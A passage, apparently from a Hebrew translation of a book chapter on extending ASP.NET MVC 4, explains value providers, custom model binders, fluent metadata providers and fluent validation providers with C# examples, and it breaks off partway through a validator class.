.  עצמהASP.NET עסק בחשיבות המבנה השכבתי של תשתית 1אחד הדגשים שהוצגו בפרק 
רוב האנשים לא הבחינו בין זמן הריצה של , 2002 יצאה לשוק בשנת ASP.NET 1.0כאשר 

לבין זמן הריצה של ) System.Web ששוכנות במרחב השמות המחלקות, כלומר(הליבה 
המחלקות ששוכנות במרחב השמות , כלומר (ASP.NET Web Formsפלטפורמת היישום 

System.Web.UI .( הצוות שלASP.NET בנה את ההפשטה המורכבת של Web Forms מעל 
 .ASP.NETההפשטה הפשוטה של זמן הריצה של ליבת 

 מבוססות גם הן על זמן הריצה ASP.NETשות יותר שפותחו על ידי צוות מספר טכנולוגיות חדי
 יכול גם MVCכל מה שעושה תשתית .  היא אחת מהןASP.NET MVC 4ותשתית , של הליבה

מכיוון שהיא בנויה על אותן הָפשְָטות , ) או מחוצה להMicrosoftבתוך (לעשות כל גורם אחר 
 עצמה ממספר שכבות ASP.NET MVC של תשתית חשיבה זו גם הובילה לבנייה. ציבוריות
ולהחליף ,  שמתאימים להםMVCהמבנה השכבתי מאפשר למפתחים להשתמש בחלקי . הפשטה

בכל גרסה חדשה נפתחות בפני המפתחים נקודות . או להרחיב את החלקים שלא נמצאים
 . נוספות לביצוע התאמה האישית של התשתית עצמה

או שהם ישתמשו בה , ביכולת ההרחבה של הפלטפורמהיש מפתחים שלעולם לא ישתמשו 
, עבור שאר המפתחים. שלישי- של צדMVCעל ידי התקנת הרחבות , לכל היותר בעקיפין

הזמינות של נקודות ההתאמה האישית הינה נדבך חשוב ביותר בתכנון אופן השימוש בתשתית 
MVCבנה מעמיקה יותר של פרק זה מיועד למפתחים שמעוניינים לרכוש ה.  ביישומים שלהם
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ולהכיר את נקודות הגישה השונות , MVCצורת הפעולה המשותפת של החלקים השונים של 
 . לשפר או להחליף את החלקים הללו, בתשתית שמאפשרות להרחיב

 בשם NuGetקוד המקור המלא לכל הדוגמאות בפרק זה זמין כחבילת  הערה
Wrox.ProMvc4.ExtendingMvc . צרו יישוםMVC) אמצעות תבנית בBasic ( והתקינו את חבילת

NuGet בהמשך נדון רק . כדי להוסיף ליישום את הדוגמאות המלאות שמוצגות בפרק זה
ולכן חשוב לעיין במקביל בקוד המקור המלא , בקטעי הקוד החשובים ביותר מתוך הדוגמאות

 . רחבה כדי שתוכלו להבין כיצד בדיוק מתבצע השימוש בנקודות ההNuGetשל חבילת 

 הרחבת מודלים
ביניהם היכולת לתאר ,  כוללת מספר חלקים ניתנים להרחבהMVC 4מערכת המודלים של 

ולהשפיע על אופן בניית המודלים על סמך , לאמת מודלים, מטא-מודלים באמצעות נתוני
בסעיף זה נציג דוגמאות לשימוש בכל אחת מנקודות ההרחבה הללו במערכת . נתוני הבקשה

  .המודלים

 המרת נתוני בקשה למודלים

נתוני מחרוזת שאילתה או אפילו נתוני , כגון נתוני טופס(תהליך ההמרה של נתוני בקשה 
 : קישור למודל מתבצע בשני שלבים. )model binding(קישור למודל למודלים נקרא ) ניתוב

  ספקי ערכיםהבנת המקור שממנו מתקבלים הנתונים באמצעות . 

 מקשרים  אובייקטי מודל על סמך הערכים שהתקבלו באמצעות יצירה או עדכון של
 . )moder binders(למודל 

 חשיפת נתוני בקשה באמצעות ספקי ערכים

הערכים שמשמשים לביצוע הקישור למודל ,  שלכםMVCכאשר קישור למודל מבוצע ביישומי 
ים שמספקים ספקי ערכים הם למעשה רכיב). value providers (מספקי ערכיםעצמו מתקבלים 

 כוללת מספר ספקי ערכים מובנים MVCתשתית . גישה למידע הדרוש לביצוע הקישור למודל
 :שאפשרים גישה לנתונים מהמקורות הבאים

  ערכים מפורשים לפעולות המשך)RenderAction( 

 ערכי טופס 

  נתוניJSON מבקשת XMLHttpRequest 

 ערכי ניתוב 

 ערכי מחרוזת שאילתה 

 קבצים שהועלו לשרת 
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והמערכת מנסה , )value provider factories(מִפעְלי ספקי ערכים ספקי ערכים מגיעים מ
הרשימה לעיל מייצגת את סדר (לקבל נתונים מספקי הערכים הללו לפי סדר הרישום שלהם 

ולהוסיפם , מפתחים יכולים לכתוב מפעלי ספקי ערכים וספקי ערכים משלהם). ברירת המחדל
מפתחים בונים באופן עצמאי . ValueProviderFactories.Factoriesץ לרשימת המפעלים שבקוב

ספקי ערכים ואת המפעלים שמייצרים אותם כאשר עליהם להשתמש במקור נתונים שאינו 
 . נתמך באופן מובנה לצורך ביצוע קישור למודל ביישום שלהם

פר מפעלים צוות הפיתוח יצר עבורכם מס, MVCבנוסף למפעלי ספקי הערכים המובנים של 
 : וספקי ערכים נוספים אשר כוללים

  ספק של ערכי עוגיות)cookies( 

 ספק של ערכי משתני שרת 

  ספק של ערכיSession 

  ספק של ערכיTempData 

לציבור תחת רישיון קוד פתוח ) MVC Futuresכולל  (MVC פתחה את תשתית Microsoftחברת 
מידע באתר זה יכול לשמש נקודת ה. /http://aspnetwebstack.codeplex.com: בכתובת זו

 . פתיחה טובה לכל מי שרוצה להתחיל לבנות בעצמו ספקי ערכים ומפעלים

 יצירת מודלים באמצעות מקשרים למודל 

המקשרים מקבלים . )model binders(מקשרים למודל מרכיב נוסף של הרחבת המודלים הוא 
 מודלים חדשים שמכילים את כל ומשתמשים בהם ליצירת, ערכים ממערכת ספקי הערכים

המקשר למודל , על פי ברירת המחדל. מאחסנים אותם במודלים קיימים, הנתונים ולמעשה
המקשר . פיסת קוד יעילה ושימושית ביותר: DefaultModelBinder נקרא MVCשמשמש את 

מערכים , רשימות, מחלקות אוסף, יודע לקשר נתונים למודלים שמיוצגים על ידי מחלקות
 . ואפילו מילונים

משתנים -מקשר ברירת המחדל אינו מספק תמיכה כל כך טובה לאובייקטים בלתי, עם זאת
)immutable (-אובייקטים שערכיהם ההתחלתיים חייבים להיקבע באמצעות הבנאי ,  כלומר

הדוגמה שלנו לקוד של מקשר למודל שנמצאת תחת . ולאחר מכן לא ניתן לשנותם
~/Areas/ModelBinder כוללת את קוד המקור של המקשר למודל עבור האובייקט Point של 

CLR . מכיוון שהמחלקהPointעלינו ליצור מופע חדש באמצעות הערכים , משתנה- בלתי
 . שהתקבלו

public class PointModelBinder : IModelBinder { 

 public object BindModel(ControllerContext controllerContext, 

       ModelBindingContext bindingContext) { 

  var valueProvider = bindingContext.ValueProvider; 

  int x = (int)valueProvider.GetValue("X").ConvertTo(typeof(int)); 

  int y = (int)valueProvider.GetValue("Y").ConvertTo(typeof(int)); 

  return new Point(x, y); 

 } 

} 
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צריך ליידע את התשתית על קיומו של המודל החדש , כאשר יוצרים מקשר למודל חדש
 [ModelBinder]ניתן לעשות זאת על ידי הצמדת המאפיין . ולהנחות אותו מתי להשתמש בו

לרשום את המקשר החדש ברשימה הגלובלית שבקובץ , או לחילופין, למחלקה המקושרת
ModelBinders.Binders . 

. של המקשרים למודל שנוטים להתעלם ממנו הוא אימות של הערכים המקושריםתפקיד חשוב 
הדוגמה המורחבת . מכיוון שאינו מכיל שום פעולות אימות, הקוד לדוגמה שלעיל די פשוט

יש מקרים שבהם . ולכן היא קצת יותר מורכבת, שלהלן כוללת גם תמיכה בפעולות אימות
ולכן ייתכן שלא יהיה צורך , מודל ידועים מראשטיפוסי הנתונים שעבורם מבוצע הקישור ל

, עם זאת). מכיוון שתוכלו להטמיע את קוד האימות ישירות במקשר(לספק תמיכה באימות גנרי 
בעת יצירת מקשרים למודל כלליים עליכם להיעזר במערכת האימות המובנית כדי לוודא 

כדי להבין כיצד ) NuGetלת הזהה לקוד שבחבי(נבחן את הדוגמה המורחבת . שהמודלים נכונים
 עדיין נראה BindModelהמימוש החדש של . צריכה להיראות גרסה שלמה יותר של מקשר למודל

 ההמרה והאימות לשיטת הסיוע , מכיוון שהעברנו את כל פעולות השליפה, פשוט למדי
)helper method :( 

public object BindModel(ControllerContext controllerContext, 

 ModelBindingContext bindingContext) { 

 

 if (!String.IsNullOrEmpty(bindingContext.ModelName) && 

  !bindingContext.ValueProvider.ContainsPrefix(bindingContext.ModelName)) { 

 

  if (!bindingContext.FallbackToEmptyPrefix) 

   return null; 

 

  bindingContext = new ModelBindingContext { 

   ModelMetadata = bindingContext.ModelMetadata, 

   ModelState = bindingContext.ModelState, 

   PropertyFilter = bindingContext.PropertyFilter, 

   ValueProvider = bindingContext.ValueProvider 

  }; 

 } 

 

 bindingContext.ModelMetadata.Model = new Point(); 

 

 return new Point( 

  Get<int>(controllerContext, bindingContext, "X"), 

  Get<int>(controllerContext, bindingContext, "Y") 

 ); 

} 

 : הקודמת,  נוספו שני דברים שלא נכללו בגרסה המקוריתBindModelלגרסה זו של 

  בלוק הקוד שמכיל את בלוקifובמידה ,  מנסה למצוא ערכים עם קידומת השם, הראשון
כאשר המערכת מתחילה את תהליך . שאינו מוצא אותם הוא מסתפק בקידומת ריקה
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 נקבע על פי השם של פרמטר bindingContext.ModelName  -הערך שב, הקישור למודל
אנחנו עוברים על ספקי הערכים ובודקים ). ptהשם הוא , בבקר לדוגמה שלנו(המודל 

אלה הם הערכים , מכיוון שאם יש כאלה, pt-ם הם מכילים ערכי משנה שמתחילים בא
נעדיף להשתמש בערכים ששמותיהם , ptאם שם הפרמטר הוא . שנרצה להשתמש בהם

אנחנו נאלצים , pt-אבל אם איננו מוצאים ערכים שמתחילים ב, pt.Y- וpt.Xהם 
 . Y- וXלהסתפק בשמות 

  מופע ריק של האובייקטPoint מוצב בתוך ModelMetadata .מכיוון , עלינו לעשות זאת
מצפות למצוא מופע של אובייקט , DataAnnotationsכולל , שרוב מערכות האימות

הקריאה לשיטה . גם אם עדיין אינו מכיל את הערכים עצמם) container object(המֵכלַ 
Getעל , מֵכלַ כלשהוולכן עלינו לספק למערכת האימות אובייקט ,  יוזמת את האימות

 . אף שאנחנו יודעים שאין זה המֵכלַ הסופי

ולאחריה תמצאו ניתוח של , הנה הפונקציה במלואה.  מורכבת ממספר חלקיםGetהשיטה 
 : חלקיה השונים

private TModel Get<TModel>(ControllerContext controllerContext, 

       ModelBindingContext bindingContext, 

       string name) { 

 

 string fullName = name; 

 if (!String.IsNullOrWhiteSpace(bindingContext.ModelName)) 

  fullName = bindingContext.ModelName + "." + name; 

 

 ValueProviderResult valueProviderResult = 

  bindingContext.ValueProvider.GetValue(fullName); 

 

 ModelState modelState = new ModelState { Value = valueProviderResult }; 

 bindingContext.ModelState.Add(fullName, modelState); 

 

 ModelMetadata metadata = bindingContext.PropertyMetadata[name]; 

 

 string attemptedValue = valueProviderResult.AttemptedValue; 

 if (metadata.ConvertEmptyStringToNull 

   && String.IsNullOrWhiteSpace(attemptedValue)) 

  attemptedValue = null; 

 

 TModel model; 

 bool invalidValue = false; 

 

 try 

 { 

  model = (TModel)valueProviderResult.ConvertTo(typeof(TModel)); 

  metadata.Model = model; 

 } 
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 catch (Exception) 

 { 

  model = default(TModel); 

  metadata.Model = attemptedValue; 

  invalidValue = true; 

 } 

 

 IEnumerable<ModelValidator> validators = 

  ModelValidatorProviders.Providers.GetValidators( 

   metadata, 

   controllerContext 

  ); 

 

 foreach (var validator in validators) 

  foreach (var validatorResult in validator.Validate(bindingContext.Model)) 

   modelState.Errors.Add(validatorResult.Message); 

 

 if (invalidValue && modelState.Errors.Count == 0) 

  modelState.Errors.Add( 

   String.Format( 

    "The value '{0}' is not a valid value for {1}.", 

    attemptedValue, 

    metadata.GetDisplayName() 

   ) 

  ); 

 

 return model; 

} 

 :ניתוח מפורט של השיטה

הדבר הראשון שעלינו לעשות הוא לשלוף את הערך הנבדק מספק הערכים ולאחר מכן  .1
כך נוכל להציג למשתמש את הערך שהזין ). ModelState(לתעד אותו במצב המודל 

גם אם בדיעבד מתגלה שלא ניתן לאחסן את הערך שהוזן ישירות , בצורה מדויקת
בשדה שמיועד למספרים שלמים " abc"חר שהמשתמש הזין לא, כמו לדוגמה(במודל 
 ): בלבד

string fullName = name; 

if (!String.IsNullOrWhiteSpace(bindingContext.ModelName)) 

 fullName = bindingContext.ModelName + "." + name; 

 

ValueProviderResult valueProviderResult = 

 bindingContext.ValueProvider.GetValue(fullName); 

 

ModelState modelState = new ModelState { Value = valueProviderResult }; 

bindingContext.ModelState.Add(fullName, modelState); 
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קישור . באירוע שבו מתבצע קישור למודל, השם המלא מצורף כקידומת לשם המודל
 בתוך מחלקה אחרת Pointא מאפיין מטיפוס מסוג זה עשוי למשל להתבצע כאשר נמצ

 ). כגון מודל תצוגה(

המטא של המודל -עלינו לקבל עותק של נתוני, לאחר קבלת התוצאה מספק הערכים .2
אחר כך נוכל לקבוע מה היה הערך הנבדק שהוזן על ידי . אשר מתארים את המאפיין

 : המשתמש
ModelMetadata metadata = bindingContext.PropertyMetadata[name]; 

 

string attemptedValue = valueProviderResult.AttemptedValue; 

if (metadata.ConvertEmptyStringToNull 

  && String.IsNullOrWhiteSpace(attemptedValue)) 

 attemptedValue = null; 

ת המטא של המודל מאפשרים לקבוע אם יש צורך בהמרה של מחרוזות ריקו-נתוני
 תמיד HTMLמכיוון שטפסי , זוהי בדרך כלל התנהגות ברירת המחדל. nullלמצביעי 

רוב .  כאשר המשתמש אינו מזין נתוניםnullמוסרים לשרת מחרוזות ריקות במקום 
המאמתים שמיועדים לבדיקת השלמת שדות חובה כתובים בדרך שגורמת לאימות 

זו הסיבה לכך . זת ריקהאך להצליח במקרה של מחרו, nullלהיכשל במקרה של 
המטא דגל שמאפשר להציב מחרוזות ריקות בשדה -שהמפתח יכול להוסיף לנתוני

 ). וכך לגרום לאימותי שדות חובה להיכשל (nullבמקום המרה שלהן למצביע 

ולתעד שגיאות המרה , בקטע הקוד הבא נעשה ניסיון להמיר את הערך לטיפוס היעד .3
המטא כדי שלמערכת האימות -לאחסן את הערך בנתונייש , בכל מקרה. במקרה שישנן

נשתמש  -ואם לא , נשתמש בערך המומר -אם המרת הערך מצליחה . יהיה ערך לבדיקה
 . למרות שאנחנו יודעים שהוא אינו מהטיפוס המתאים, בערך הנבדק

TModel model; 

bool invalidValue = false; 

 

try 

{ 

 model = (TModel)valueProviderResult.ConvertTo(typeof(TModel)); 

 metadata.Model = model; 

} 

catch (Exception) 

{ 

 model = default(TModel); 

 metadata.Model = attemptedValue; 

 invalidValue = true; 

} 

מכיוון שבהמשך נרצה להציג הודעה על שגיאת המרה רק , עלינו לתעד שגיאות המרה
המשתמש לא הזין , מקרה זה ישים כאשר לדוגמה. רו בהצלחהאם כל שאר האימותים עב

נכון יותר . ערך לשדה חובה וסביר להניח שנקבל גם שגיאת שדה חובה וגם שגיאת המרה
 . ולכן עלינו לתת לו קדימות, יהיה להציג את הודעת השגיאה של מאמת שדות החובה
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 :  של מצב המודלהרצת כל המאמתים ותיעוד כל כשלי האימות באוסף השגיאות .4
IEnumerable<ModelValidator> validators = 

 ModelValidatorProviders.Providers.GetValidators( 

  metadata, 

  controllerContext 

 ); 

 

foreach (var validator in validators) 

 foreach (var validatorResult in validator.Validate(bindingContext.Model)) 

  modelState.Errors.Add(validatorResult.Message); 

אם אירעה שגיאה כזו ולא נכשלו אימותים , תיעוד שגיאת המרה של טיפוס הנתון .5
לאחר מכן יש להחזיר את  הערך כדי שניתן יהיה להמשיך ולהשתמש בו בשאר . אחרים

 : תהליך הקישור למודל
if (invalidValue && modelState.Errors.Count == 0) 

 modelState.Errors.Add( 

  String.Format( 

   "The value '{0}' is not a valid value for {1}.", 

   attemptedValue, 

   metadata.GetDisplayName() 

  ) 

 ); 

 

return model; 

אשר (הדוגמה המלאה כוללת בקר ותצוגה פשוטים שממחישים את השימוש בקישור למודל 
כדי , בדוגמה זו אפשרות אימות בצד הלקוח מבוטלת). Area בקובץ הרישום האזורי רשומים

בתוך התצוגה . השרת ולנפות אותן-לאפשר לעקוב בקלות אחר ההרצה של הפקודות בצד
 כדי שתוכלו לוודא שכללי האימות בצד ,הלקוח-עליכם להפעיל את אפשרות האימות בצד
 . רה תקינההלקוח שומרים על הדרישות ופועלים בצו

 מטא-תיאור מודלים באמצעות נתוני

המערכת משמשת . ASP.NET MVC 2המטא למודל הופיעה לראשונה בגרסת -מערכת נתוני
.  ואימות מודליםHTMLלאחסון וחשיפה של מידע עבור המודל כדי לסייע לתהליכי הפקת 

ות לשאלות תשוב) מבלי לפגוע בכלליות(המידע שנחשף על ידי מערכת נתוני המטא כולל 
 : הבאות

 מהו טיפוס המודל? 

 אם קיים, מהו טיפוס המודל המוכל ? 

 מהו שם המאפיין שממנו מתקבל הערך ? 

 האם מדובר בטיפוס פשוט או בטיפוס מורכב ? 
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 מהו שם התצוגה? 

 מה הפורמט המתאים להצגה ול עריכה של הערך ? 

 האם זה ערך חובה ? 

 בלבד-האם זה ערך לקריאה? 

  להשתמש להצגהבאיזו תבנית יש ? 

מטא למודל על ידי הצמדה של מאפייני - כוללת תמיכה מובנית בצירוף נתוניMVCתשתית 
רוב המאפיינים הללו נמצאים במרחבי השמות . סימון למחלקות ולמאפיינים

System.ComponentModelו -System.ComponentModel.DataAnnotations. 

וייעודו המקורי היה לשימוש כלי , NET 1.0מי  קיים עוד מיComponentModelמרחב השמות 
מחלקות . Windows Forms - וWeb Forms  ולטיפול ביישומייVisual Studioהעיצוב של 

DataAnnotations נוספו לגרסה NET 3.5 SP1)  יחד עםASP.NET Dynamic Data( ,יועדו ו
ם משמעותיים  נוספו שיפוריNET 4בגרסה . מטא של המודל-בעיקר לעבודה עם נתוני

ובנוסף , WCF RIA Servicesבשלב זה הן החלו לשמש את צוות . DataAnnotationsלמחלקות 
סימוני הנתונים , ASP.NETלמרות שנוצרו במקור על ידי צוות . Silverlight 4גם יובאו לתשתית 

ולכן הם נמצאים , עוצבו כבר מהשלב הראשון באופן שמונע תלות בשכבת ממשק המשתמש
 . System.Web ולא תחת System.ComponentModelת במסגר

אם אתם , על כן.  ניתנת להרחבהASP.NET MVCהמטא למודל של -מערכת ספקי נתוני
כדי . מטא משלכם-תוכלו לספק מקורות נתוני, מעדיפים לא להשתמש במאפייני הסימון

וליצור , ModelMetadataProvider -מטא צריך ליצור מחלקה שיורשת מ-ליישם ספק נתוני
 : מימושים של שלוש השיטות המופשטות שלהלן

  השיטהGetMetadataForType - מטא עבור המחלקה כולה-מחזירה נתוני . 

  השיטהGetMetadataForProperty - מטא עבור מאפיין יחיד-מחזירה נתוני . 

  השיטהGetMetadataForProperties - מטא עבור כל המאפיינים במחלקה-מחזירה נתוני.  

מתאים במיוחד לשמש בתור מחלקת בסיס לספקי , AssociatedMetadataProviderגם הטיפוס 
מחלקה זו מאחדת את שלוש השיטות לשיטה אחת בשם . מאפיינים-מטא מבוססי-נתוני

CreateMetadata ,אם . או למאפייני המודל/ומעבירה רשימה של מאפיינים שהוצמדו למודל ו
רצוי ברוב , שפועל על ידי הצמדת תכונות למודלים שלכםמטא -אתם כותבים ספק נתוני

 בתור מחלקת הבסיס של מחלקת AssociatedMetadataProviderהמקרים להשתמש בטיפוס 
 .  פשוטAPI-מכיוון שה, הספק

. Areas/FluentMetadata/~ תחת fluentמטא -בחבילת הקוד תוכלו למצוא דוגמה לספק נתוני
אולם , המטא שזמינים למשתמש הקצה-התחשב במספר נתוניב, מדובר במימוש ארוך למדי

מטא אחד - יכולה להשתמש בספק נתוניMVCמכיוון שתשתית . הקוד עצמו פשוט וישיר למדי
כדי לאפשר למשתמש לערבב , המטא המובנה-המחלקה שבדוגמה יורשת מספק נתוני, בלבד

 . ייםקוד דינמ-מטא מבוססי-מטא מסורתיות ונתוני-בין תכונות נתוני
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בהשוואה לתכונות ,  שבדוגמהfluentהמטא מסוג -אחד היתרונות הבולטים של ספק נתוני
המטא המובנות הוא בכך שניתן להשתמש בהם לתיאור ולסימון טיפוסים שעל הגדרתם -נתוני

החלת התכונה על הטיפוס חייבת להתבצע בזמן כתיבת , עם תכונות רגילות. אין לנו שליטה
תיאור הטיפוסים נעשה באופן נפרד מהגדרת , fluentהמטא מסוג -וניעם ספק נת. הטיפוס

, לדוגמה(וכך אפשר להחיל כללים על טיפוסים שנכתבו על ידי מישהו אחר , הטיפוס עצמו
 ).  עצמהNET.טיפוסים מובנים של פלטפורמת 

 : המטא מבוצע בתוך פונקציית הרישום האזורי-רישום נתוני, בדוגמה שלנו

ModelMetadataProviders.Current = 

 new FluentMetadataProvider() 

  .ForModel<Contact>() 

  .ForProperty(m => m.FirstName) 

   .DisplayName("First Name") 

   .DataTypeName("string") 

  .ForProperty(m => m.LastName) 

   .DisplayName("Last Name") 

   .DataTypeName("string") 

  .ForProperty(m => m.EmailAddress) 

   .DisplayName("E-mail Address") 

   .DataTypeName("email"); 

ולאחר מכן , המטא שנגזרים מתכונות הסימון- מתחיל בהשגת נתוניCreateMetadataהקוד של 
בדומה  (שיטות העריכה. על ידי המפתחנרשמו  באמצעות עורכים שאלהשינוי ערכים 

 שינויים עתידיים שמבוצעים באובייקט ים למעשהמתעד) DisplayNameלקריאות לשיטה 
ModelMetadataהשינויים מאוחסנים במילון שבתוך ספק . רו בקשה לאחר שהתקבלה עבו

fluent בתוך אחר כך לאפשר הרצה שלהם כדי CreateMetadata ,כמוצג להלן : 

protected override ModelMetadata CreateMetadata( 

 IEnumerable<Attribute> attributes, 

 Type containerType, 

 Func<object> modelAccessor, 

 Type modelType, 

 string propertyName){ 

 

 // Start with the metadata from the annotation attributes 

 ModelMetadata metadata = 

  base.CreateMetadata( 

   attributes, 

   containerType, 

   modelAccessor, 

   modelType, 

   propertyName); 

 

 // Look inside our modifier dictionary for registrations 

 Tuple<Type, string> key = 
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  propertyName == null 

   ? new Tuple<Type, string>(modelType, null) 

   : new Tuple<Type, string>(containerType, propertyName); 

 

 // Apply the modifiers to the metadata, if we found any 

 List<Action<ModelMetadata>> modifierList; 

 if (modifiers.TryGetValue(key, out modifierList)) 

  foreach (Action<ModelMetadata> modifier in modifierList) 

   modifier(metadata); 

 

 return metadata; 

} 

 לצורך(מיפוי של טיפוסים לעורכים אינו אלא המטא -ספק נתוניהמימוש הזה של , בפועל
 לצורך(שמות מאפיינים לעורכים + או מיפוי של טיפוסים ) המטא של מחלקה-עריכת נתוני
אך כולן חולקות את , כאלו אמנם מספר פונקציות עריכהיש ). המטא של מאפיין-עריכת נתוני

רישום של פונקציית העריכה במילון של הספק כדי לאפשר להריץ : אותו דפוס פעולה בסיסי
 : DisplayNameשל מימוש  הםלפניכ. אותה בהמשך

public MetadataRegistrar<TModel> DisplayName(string displayName) 

{ 

 provider.Add( 

  typeof(TModel),  

  propertyName,  

  metadata => metadata.DisplayName = displayName); 

 

 return this; 

} 

בהינתן : נונימית שמשמשת כעורך הוא פונקציה אAddהפרמטר השלישי בקריאה לשיטה 
 את שם התצוגה DisplayNameהפונקציה מציבה במאפיין , מטא-מופע של אובייקט נתוני

ה תוכלו למצוא את הקוד המלא בחבילת הקוד לדוגמ. כפרמטר על ידי המפתחלה שסופק 
 . בקר ותצוגה שיאפשרו לכם לראות כיצד הרכיבים השונים פועלים יחדיוגם כולל ש

  מודלים אימות

, ASP.NET MVCהראשונה של החל מהגרסה אימות מודלים קיימת של תמיכה באפשרות ה
 MVC 1.0האימות של . הרחבה- נוספו לתשתית ספקי אימות בריMVC 2 האולם רק בגרס

רצוי להתייחס אליו בערבון , ולמרות שהוא עדיין פועל (IDataErrorInfoהתבסס על ממשק 
 יכולים להחיל את מאפייני הסימון על מאפייני המודלים MVC 2מפתחי , כתחליף). מוגבל
, [Range], [Required]: אימות מובנים- מאפייני סימון4 כוללת NET 3.5 SP1. הגרסה. שלהם

[StringLength]ו - [RegularExpression] . מחלקת בסיס בשם יש גםבנוסף ValidationAttribute 
 .  אישיתקי אימות מותאמיםשבאמצעותה יכולים למפתחים לכתוב חו
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ניהם ממשק יוב, NET 4 הוסיף מספר שיפורים למערכת האימות של CLRצוות 
IValidatableObjectהלגרס.  החדש ASP.NET MVC 3נוספו שני מאמתים חדשים  :[Compare] 

תוכלו , NET 4.5 הגרסה שלכם מיועד לעבוד עם MVC 4אם פרויקט , כמו כן. [Remote]-ו
 ואשר MVC מספר מאפיינים חדשים שנתמכים על ידי Data Annotations היילמצוא בספר

, [EmailAddress], [CreditCard]כולל , jQuery Validateמקבילות לכללים שמספקת הספרייה 
[FileExtensions] ,[MaxLength] ,[MinLength] ,[Phone]ו - [Url] . 

.  לחזור על זה שובצורךואין , ית עוסק בהרחבה בכתיבה של מאמתים מותאמים איש6פרק 
ספקי מאמתים . כתיבת ספקי מאמתים: לפיכך נציג כעת דוגמה לתהליך מתקדם יותר

)validator providers(תשתית .  מאפשרים למפתחים להגדיר מקורות אימות חדשיםMVC 
 :כוללת על פי ברירת מחדל שלושה ספקי מאמתים מובנים

 DataAnnotationsModelValidatorProviderמספק תמיכה למאמתים שיורשים  אשר 
 . IValidatableObject ולמודלים שמיישמים את ממשק ValidationAttributeמהמחלקה 

 DataErrorInfoModelValidatorProviderמספק תמיכה למחלקות שמיישמות את  אשר 
 . MVC 1.0 שבשימוש שכבת האימות של IDataErrorInfoממשק 

 ClientDataTypeModelValidatorProvider מספק תמיכה לאימות לקוח עבור טיפוסי  אשר
 ). נקודה צפה ותאריכים, עשרוניים, שלמים(הנתונים הנומריים המובנים 

 כרוך ביצירת מחלקה שיורשת ממחלקת הבסיס יםיישום של ספק מאמת
ModelValidatorProvider , על ידי המיוצג(ויישום שיטה יחידה שמחזירה מאמתים למודל נתון 

רישום של ספקי מאמתים מותאמים ). ControllerContext ואובייקט ModelMetadataמופע של 
 .ModelValidatorProviders.Providersאישית מבוצע באמצעות 

 בחבילת הקוד לדוגמה תחת fluentתוכלו למצוא דוגמה למערכת אימות מודלים מסוג 
~/Areas/FluentValidation .תוני המטא מסוג בדומה לדוגמת נfluent , גם הפעם הקוד ארוך למדי

אך רוב הקוד שמשמש ליישום ספק המאמתים הינו פשוט , בשל פונקציות האימות שעלינו לספק
 :הדוגמה כוללת רישום של אימות בתוך פונקציית רישום אזורי. יחסית ומובן מאליו

ModelValidatorProviders.Providers.Add( 

 new FluentValidationProvider() 

  .ForModel<Contact>() 

   .ForProperty(c => c.FirstName) 

    .Required() 

    .StringLength(maxLength: 15) 

   .ForProperty(c => c.LastName) 

    .Required(errorMessage: "You absolutely must provide the last name!") 

    .StringLength(minLength: 3, maxLength: 20) 

   .ForProperty(c => c.EmailAddress) 

    .Required() 

    .StringLength(minLength: 10) 

    .EmailAddress() 

); 
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תמיכה לאימות בצד השרת ובצד הלקוח ובכלל זה , בדוגמה זו יישמנו שלושה מאמתים שונים
. המטא למודל שהוצגה קודם-ממשק הרישום זהה כמעט לחלוטין לדוגמה של נתוני. כאחד

 על מילון שממפה טיפוסים מבוקשים ושמות מאפיינים  מבוססGetValidatorsשל מימוש ה
 ):validator factories(אופציונליים למפעלי מאמתים 

public override IEnumerable<ModelValidator> GetValidators( 

 ModelMetadata metadata,  

 ControllerContext context) { 

 

 IEnumerable<ModelValidator> results = Enumerable.Empty<ModelValidator>(); 

 

 if (metadata.PropertyName != null) 

  results = GetValidators(metadata,  

         context,  

         metadata.ContainerType,  

         metadata.PropertyName); 

 

 return results.Concat( 

  GetValidators(metadata,  

      context,  

      metadata.ModelType) 

 ); 

} 

 אינוהספק החדש ,  מאפשרת שימוש במספר ספקי מאמתים במקבילMVCמכיוון שתשתית 
להוסיף את כלל צריך רק , במקרה זה. חייב לרשת מספק מאמתים קיים או להוריש לספק קיים

המאמתים שחלים על מאפיין ספציפי . האימות הייחודי שלכם בכל מקום שיש בו צורך
, לדוגמה. ן עצמו ואת אלה שמוחלים על הטיפוס שלוכוללים את אלה שמוחלים על המאפיי

 : נניח שברשותנו המודל הבא
public class Contact 

{ 

 public string FirstName { get; set; } 

 public string LastName { get; set; } 

 public string EmailAddress { get; set; } 

} 

מועברים לה הכללים שחלים על , FirstNameכאשר המערכת מבקשת כללי אימות עבור 
מכיוון , System.Stringגם הכללים שחלים על מעבירים לה בנוסף .   עצמוFirstNameהמאפיין 

 .  הוא מחרוזתFirstNameשהמאפיין 

 : מהדוגמה הקודמת תיראה כעת כךGetValidatorsשל השיטה הפרטית מימוש ה

private IEnumerable<ModelValidator> GetValidators( 

    ModelMetadata metadata, 

    ControllerContext context, 

    Type type, 
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    string propertyName = null) 

{ 

 var key = new Tuple<Type, string>(type, propertyName); 

 List<ValidatorFactory> factories; 

 if (validators.TryGetValue(key, out factories)) 

  foreach (var factory in factories) 

   yield return factory(metadata, context); 

} 

רישום מפעלי המאמתים . בקוד זה מבוצע חיפוש של כל מפעלי המאמתים הרשומים בספק
. StringLength- וRequiredכגון , הללו מבוצע באמצעות הפונקציות שהוצגו בשלב הרישום

 : פועלות לרוב על פי דפוס משותףאלוהפונקציות 

public ValidatorRegistrar<TModel> Required( 

    string errorMessage = "{0} is required") 

{ 

 provider.Add( 

  typeof(TModel), 

  propertyName, 

  (metadata, context) =>  

   new RequiredValidator(metadata, context, errorMessage) 

 ); 

 

 return this; 

} 

ור  הוא פונקציה אנונימית שמשמשת בתprovider.Addהפרמטר השלישי בקריאה לשיטה 
הפונקציה , ר בקר בתור קלטשֵקְמטא של מודל והֶ-לאחר קבלת נתוני. מפעל המאמתים

 . ModelValidatorמחזירה מופע של מחלקה שיורשת ממחלקת הבסיס 

ֶ מובModelValidatorֶמחלקת הבסיס  בדוגמת הקישור .  למטרות אימותMVCת ונצרכת על ידי נ
מכיוון שבסופו של דבר , ModelValidatorה בשימוש מפורש במחלקהקודם כבר פגשנו למודל 

על . המקשר למודל הוא שאחראי על הרצת האימות בזמן היצירה והקישור של האובייקטים
ביצוע אימות בצד :  מוטלים שני תפקידים מרכזייםRequiredValidatorשלנו למאמת מימוש ה

 :מהקוד שלהלן מימוש זה בנוי. מטא בנוגע לאימות בצד הלקוח-והחזרת נתוני, השרת

private class RequiredValidator : ModelValidator 

{ 

 private string errorMessage; 

 

 public RequiredValidator(ModelMetadata metadata,  

